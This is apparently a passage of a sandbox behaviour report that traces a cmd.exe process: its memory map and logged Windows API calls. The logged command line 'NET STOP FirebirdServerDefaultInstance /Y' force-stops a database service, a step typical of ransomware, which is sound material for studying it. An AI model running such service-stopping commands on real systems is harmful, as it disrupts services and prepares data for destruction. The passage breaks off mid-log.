[0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 943 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 944 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 945 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 946 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 947 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 948 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 949 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 950 start_va = 0x4ac90000 end_va = 0x4acdbfff entry_point = 0x4ac90000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 951 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 952 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 953 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 954 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 955 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 956 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 957 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 958 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 959 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 960 start_va = 0x300000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 961 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 962 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 963 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 964 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 965 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 966 start_va = 0x210000 end_va = 0x276fff entry_point = 0x210000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 967 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 968 start_va = 0x6f0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 969 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 970 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 971 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 972 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 973 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 974 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 975 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 976 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 977 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 978 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 979 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 980 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 981 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 982 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 983 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 984 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 985 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 986 start_va = 0x700000 end_va = 0x887fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 987 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 988 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 989 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 990 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 991 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 992 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 993 start_va = 0x890000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 994 start_va = 0xa20000 end_va = 0x1e1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 995 start_va = 0x1e20000 end_va = 0x2162fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 996 start_va = 0x2170000 end_va = 0x243efff entry_point = 0x2170000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 18 os_tid = 0xacc [0038.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f914 | out: lpSystemTimeAsFileTime=0x14f914*(dwLowDateTime=0xd83e5200, dwHighDateTime=0x1d4abdd)) [0038.672] GetCurrentProcessId () returned 0xac8 [0038.672] GetCurrentThreadId () returned 0xacc [0038.672] GetTickCount () returned 0x19d76 [0038.672] QueryPerformanceCounter (in: lpPerformanceCount=0x14f90c | out: lpPerformanceCount=0x14f90c*=1811390200000) returned 1 [0038.673] GetModuleHandleA (lpModuleName=0x0) returned 0x4ac90000 [0038.673] __set_app_type (_Type=0x1) [0038.673] __p__fmode () returned 0x75ed31f4 [0038.673] __p__commode () returned 0x75ed31fc [0038.673] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acb21a6) returned 0x0 [0038.673] __getmainargs (in: _Argc=0x4acb4238, _Argv=0x4acb4240, _Env=0x4acb423c, _DoWildCard=0, _StartInfo=0x4acb4140 | out: _Argc=0x4acb4238, _Argv=0x4acb4240, _Env=0x4acb423c) returned 0 [0038.673] GetCurrentThreadId () returned 0xacc [0038.673] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xacc) returned 0x60 [0038.674] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0038.674] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0038.674] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.674] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.674] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f8a4 | out: phkResult=0x14f8a4*=0x0) returned 0x2 [0038.674] VirtualQuery (in: lpAddress=0x14f8db, lpBuffer=0x14f874, dwLength=0x1c | out: lpBuffer=0x14f874*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.674] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f874, dwLength=0x1c | out: lpBuffer=0x14f874*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.674] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f874, dwLength=0x1c | out: lpBuffer=0x14f874*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.674] VirtualQuery (in: lpAddress=0x53000, lpBuffer=0x14f874, dwLength=0x1c | out: lpBuffer=0x14f874*(BaseAddress=0x53000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.674] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f874, dwLength=0x1c | out: lpBuffer=0x14f874*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0038.674] GetConsoleOutputCP () returned 0x1b5 [0038.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0038.675] SetConsoleCtrlHandler (HandlerRoutine=0x4acae72a, Add=1) returned 1 [0038.675] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.675] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.676] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.676] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acb41ac | out: lpMode=0x4acb41ac) returned 1 [0038.676] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.676] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.676] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.676] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acb41b0 | out: lpMode=0x4acb41b0) returned 1 [0038.677] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.677] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.677] GetEnvironmentStringsW () returned 0x482b58* [0038.677] FreeEnvironmentStringsW (penv=0x482b58) returned 1 [0038.677] GetEnvironmentStringsW () returned 0x482b58* [0038.677] FreeEnvironmentStringsW (penv=0x482b58) returned 1 [0038.677] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e814 | out: phkResult=0x14e814*=0x6c) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x32, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x1, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x1, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x0, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x40, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x40, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x40, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegCloseKey (hKey=0x6c) returned 0x0 [0038.678] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e814 | out: phkResult=0x14e814*=0x6c) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x40, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x1, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x1, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x0, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x9, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x4, lpData=0x14e820*=0x9, lpcbData=0x14e818*=0x4) returned 0x0 [0038.678] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e81c, lpData=0x14e820, lpcbData=0x14e818*=0x1000 | out: lpType=0x14e81c*=0x0, lpData=0x14e820*=0x9, lpcbData=0x14e818*=0x1000) returned 0x2 [0038.678] RegCloseKey (hKey=0x6c) returned 0x0 [0038.678] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f50 [0038.679] srand (_Seed=0x5c3c3f50) [0038.679] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdServerDefaultInstance /Y" [0038.679] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET STOP FirebirdServerDefaultInstance /Y" [0038.679] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acb5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.679] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x484be8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.679] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.679] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.679] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.679] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.679] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.679] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.679] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.679] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.679] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.679] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.679] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.680] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.680] GetEnvironmentStringsW () returned 0x482b58* [0038.680] FreeEnvironmentStringsW (penv=0x482b58) returned 1 [0038.680] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.680] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.680] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.680] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.680] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.680] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.681] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.681] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.681] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.681] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.681] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f5e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f5e0, lpFilePart=0x14f5dc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f5dc*="Desktop") returned 0x25 [0038.681] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.681] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f35c | out: lpFindFileData=0x14f35c) returned 0x481df0 [0038.681] FindClose (in: hFindFile=0x481df0 | out: hFindFile=0x481df0) returned 1 [0038.682] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f35c | out: lpFindFileData=0x14f35c) returned 0x481df0 [0038.682] FindClose (in: hFindFile=0x481df0 | out: hFindFile=0x481df0) returned 1 [0038.682] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.682] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f35c | out: lpFindFileData=0x14f35c) returned 0x481df0 [0038.682] FindClose (in: hFindFile=0x481df0 | out: hFindFile=0x481df0) returned 1 [0038.682] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.682] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.682] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.682] GetEnvironmentStringsW () returned 0x482b58* [0038.682] FreeEnvironmentStringsW (penv=0x482b58) returned 1 [0038.682] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acb5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.683] GetConsoleOutputCP () returned 0x1b5 [0038.683] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0038.683] GetUserDefaultLCID () returned 0x409 [0038.684] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acb4950, cchData=8 | out: lpLCData=":") returned 2 [0038.684] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f720, cchData=128 | out: lpLCData="0") returned 2 [0038.684] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f720, cchData=128 | out: lpLCData="0") returned 2 [0038.684] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f720, cchData=128 | out: lpLCData="1") returned 2 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acb4940, cchData=8 | out: lpLCData="/") returned 2 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acb4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acb4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acb4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acb4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acb4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acb4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acb4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acb4930, cchData=8 | out: lpLCData=".") returned 2 [0038.685] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acb4920, cchData=8 | out: lpLCData=",") returned 2 [0038.685] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.687] GetConsoleTitleW (in: lpConsoleTitle=0x485938, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.687] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0038.687] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0038.687] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0038.687] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0038.688] _wcsicmp (_String1="NET", _String2=")") returned 69 [0038.688] _wcsicmp (_String1="FOR", _String2="NET") returned -8 [0038.688] _wcsicmp (_String1="FOR/?", _String2="NET") returned -8 [0038.688] _wcsicmp (_String1="IF", _String2="NET") returned -5 [0038.688] _wcsicmp (_String1="IF/?", _String2="NET") returned -5 [0038.688] _wcsicmp (_String1="REM", _String2="NET") returned 4 [0038.688] _wcsicmp (_String1="REM/?", _String2="NET") returned 4 [0038.689] GetConsoleTitleW (in: lpConsoleTitle=0x14f418, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.690] _wcsicmp (_String1="NET", _String2="DIR") returned 10 [0038.690] _wcsicmp (_String1="NET", _String2="ERASE") returned 9 [0038.690] _wcsicmp (_String1="NET", _String2="DEL") returned 10 [0038.690] _wcsicmp (_String1="NET", _String2="TYPE") returned -6 [0038.690] _wcsicmp (_String1="NET", _String2="COPY") returned 11 [0038.690] _wcsicmp (_String1="NET", _String2="CD") returned 11 [0038.690] _wcsicmp (_String1="NET", _String2="CHDIR") returned 11 [0038.690] _wcsicmp (_String1="NET", _String2="RENAME") returned -4 [0038.690] _wcsicmp (_String1="NET", _String2="REN") returned -4 [0038.690] _wcsicmp (_String1="NET", _String2="ECHO") returned 9 [0038.690] _wcsicmp (_String1="NET", _String2="SET") returned -5 [0038.690] _wcsicmp (_String1="NET", _String2="PAUSE") returned -2 [0038.690] _wcsicmp (_String1="NET", _String2="DATE") returned 10 [0038.690] _wcsicmp (_String1="NET", _String2="TIME") returned -6 [0038.690] _wcsicmp (_String1="NET", _String2="PROMPT") returned -2 [0038.690] _wcsicmp (_String1="NET", _String2="MD") returned 1 [0038.690] _wcsicmp (_String1="NET", _String2="MKDIR") returned 1 [0038.690] _wcsicmp (_String1="NET", 